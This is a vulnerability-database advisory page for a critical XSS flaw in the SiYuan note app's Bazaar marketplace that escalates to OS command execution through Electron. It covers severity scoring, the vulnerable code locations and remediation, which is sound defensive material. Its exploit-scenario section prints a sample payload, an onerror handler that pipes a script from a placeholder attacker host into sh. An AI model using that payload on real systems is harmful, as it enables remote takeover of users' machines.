Skip to main content

SiYuan EUVDEUVD-2026-38163

| CVE-2026-56397 CRITICAL
Cross-site Scripting (XSS) (CWE-79)
2026-06-21 VulnCheck GHSA-24r3-p3x6-cqvx
9.4
CVSS 4.0 · Vendor: VulnCheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Publish malicious package to Bazaar
  2. Delivery
    Embed XSS payload in displayName or README
  3. Exploit
    Victim opens Bazaar tab in SiYuan
  4. Install
    Unsanitized HTML rendered via innerHTML
  5. C2
    JavaScript executes in Electron renderer
  6. Execute
    Invoke Node child_process for OS commands
  7. Impact
    Full desktop compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) the attacker to publish a package to the SiYuan Bazaar marketplace, which has no vetted submission gate, and (2) the victim to open the Bazaar UI in the SiYuan desktop client - for the metadata vector merely listing packages suffices (zero-click within the Bazaar view), while the README vector requires the user to click a specific package. The victim must be using the Electron desktop build (where nodeIntegration:true and contextIsolation:false are configured in app/electron/main.js:422-426); a hypothetical browser-only deployment would still suffer XSS but not OS-level RCE. No authentication on the victim side is required, and no special non-default configuration is needed - the vulnerable behavior is the shipped default of all versions up to and including 3.5.9.

Impact

CVSS 4.0 base of 9.4 is justified by the vulnerable system being fully compromised (VC:H/VI:H/VA:H) and the subsequent system (the user's OS) also fully compromised (SC:H/SI:H/SA:H) - appropriate given the Electron nodeIntegration escape. AV:N/AC:L/PR:N reflect that any unauthenticated package author can publish to the Bazaar, and UI:A (passive) correctly captures the metadata vector being triggered simply by browsing the marketplace. EPSS and CISA KEV status are not provided in the input, so prevalence of exploitation cannot be quantified - VulnCheck is the reporter but no in-the-wild activity is claimed. The realistic priority is high for any organization where users browse the Bazaar from desktop installs: the metadata vector is zero-click once a malicious package is listed, and weaponization is trivial (an XSS payload calling require('child_process').exec). Lower-priority for deployments that disable or never use the Bazaar UI.

Exploit ScenarioDerived

An attacker publishes a plugin, theme, or template to the SiYuan Bazaar containing an XSS payload in the displayName or description field, for example a string that closes the surrounding tag and inserts <img src=x onerror='require("child_process").exec("curl attacker.tld/x.sh|sh")'>. As soon as any SiYuan user opens the Bazaar tab in their desktop client, the payload renders in the Electron renderer with full Node.js privileges and executes arbitrary OS commands as the desktop user. The README vector is functionally identical but triggers on clicking a package to view details.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Remote code execution in SiYuan note-taking application (before v3.6.1) allows any malicious Bazaar marketplace package author to compromise users via unsanitized HTML rendering of package displayName, description, and README content. Because the Electron renderer is configured with nodeIntegration:true and contextIsolation:false, injected JavaScript pivots directly to arbitrary OS command execution. No public exploit identified at time of analysis, but VulnCheck published a detailed technical advisory documenting both zero-click (metadata) and one-click (README) vectors.

RemediationAI

Upgrade SiYuan to v3.6.1 or later, which the vendor advisory GHSA-v3mg-9v85-fcm7 identifies as the fixed release containing HTML escaping for Bazaar metadata fields and SetSanitize(true) on the README Lute engine. If immediate upgrade is not possible, the most effective compensating control is to avoid opening the Bazaar marketplace UI entirely until patched, since both vectors require rendering the marketplace listing; advise users not to install, preview, or browse community packages. A stronger architectural mitigation - disabling nodeIntegration and enabling contextIsolation in app/electron/main.js - would prevent OS command execution but requires code changes and may break legitimate plugins that depend on Node APIs, so it is impractical as a temporary workaround. Network-level blocking of the Bazaar CDN (cdn.jsdelivr.net/gh/siyuan-note) prevents listing fetches but also breaks legitimate marketplace functionality.

Affected VersionsENISA

SiYuan 0 <3.6.1

Affected Packages

go github.com/siyuan-note/siyuan/kernel fix: 0.0.0-20260317012524-fe4523fff2c8
go siyuan fix: 3.6.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

SiYuan is a self-hosted Electron-based personal knowledge management application with a built-in community marketplace called the Bazaar that distributes plugins, themes, and templates. The flaw is a classic CWE-79 (Improper Neutralization of Input During Web Page Generation) with two distinct sinks: (1) in app/src/config/bazaar.ts:275-277, package preferredName and preferredDesc fields are interpolated directly into HTML template literals without escaping, while only the title attribute uses escapeAttr(); (2) in kernel/bazaar/package.go:635-645, renderREADME() invokes lute.New() without calling SetSanitize(true), so raw HTML embedded in package README markdown is preserved by Md2HTML() and assigned via innerHTML on the frontend - inconsistent with the note renderer at kernel/util/lute.go:81 which does sanitize. The impact is amplified because app/electron/main.js:422-426 enables nodeIntegration:true and contextIsolation:false, granting any executed script access to Node.js APIs such as child_process. Affected CPE is cpe:2.3:a:siyuan:siyuan:*:*:*:*:*:*:*:*.

Know when Siyuan gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulnCheck) PRIMARY 9.4 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
vuln.today AI 9.6 CRITICAL

Network-reachable Bazaar listing, no attacker auth, victim must open Bazaar (UI:R); Electron nodeIntegration escapes the renderer sandbox to the host OS, so Scope:Changed with full C/I/A impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (VulnCheck).

CVSS VectorVendor: VulnCheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Active
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

1
Patch available
Jun 21, 2026 - 15:31 EUVD

DescriptionCVE.org

SiYuan before v3.6.1 fails to sanitize package metadata and README content in the Bazaar marketplace, allowing malicious package authors to inject arbitrary HTML and JavaScript. Attackers can achieve remote code execution on any user browsing the Bazaar by embedding XSS payloads in package displayName, description, or README fields, exploiting Electron's nodeIntegration setting to execute OS commands.

Executive ViewAI

Why It Matters

SiYuan note-taking application versions before 3.6.1 contain a critical remote code execution vulnerability in its Bazaar marketplace package handler, allowing attackers who publish packages to execute arbitrary system commands on user endpoints. Organizations using SiYuan face immediate risk of complete system compromise, data exfiltration, and lateral movement across connected infrastructure.

Business Impact: Severe
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.4%
Top 69% exploitable
Exploit
POC
Public exploit code exists
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
Very High
Technical Impact
Total

Priority Score

67
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +47
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in Siyuan

View all
CVE-2026-69083 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan's fullTextSearchAssetContent endpoint lets unauthenticated attackers and holders of publish Role

CVE-2026-54067 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan personal knowledge management before 3.7.0 lets an attacker with write access to a

CVE-2026-69084 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge management (versions <= v3.7.2) lets attackers pass arbitrary SQL statements

CVE-2026-54158 CRITICAL POC
9.9 Jun 24

Stored cross-site scripting in SiYuan's attribute-view (database) cell renderer, affecting all versions prior to 3.7.0,

CVE-2026-69085 CRITICAL POC
9.9 Aug 03

SQL injection in SiYuan personal knowledge-management software (all versions before v3.7.3) lets attackers inject arbitr

CVE-2024-53507 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability was discovered in Siyuan 3.1.11 in /getHistoryItems. Rated critical severity (CVSS 9.8), t

CVE-2024-53506 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the ids array parameter in /batchGetBlockAttrs. R

CVE-2024-53505 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the id parameter at /getAssetContent. Rated criti

CVE-2024-53504 CRITICAL POC
9.8 Nov 29

A SQL injection vulnerability has been identified in Siyuan 3.1.11 via the notebook parameter in /searchHistory. Rated c

CVE-2026-23852 CRITICAL POC
9.6 Jan 19

SiYuan personal knowledge management system prior to 3.5.4 has a stored XSS vulnerability (CVSS 9.6) that allows code ex

CVE-2026-54069 CRITICAL POC
9.2 Jun 24

Origin-validation bypass in SiYuan Note (open-source personal knowledge management) before 3.7.0 lets any installed Chro

CVE-2026-29183 CRITICAL POC
9.3 Mar 06

Reflected XSS in SiYuan knowledge management before 3.5.9.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy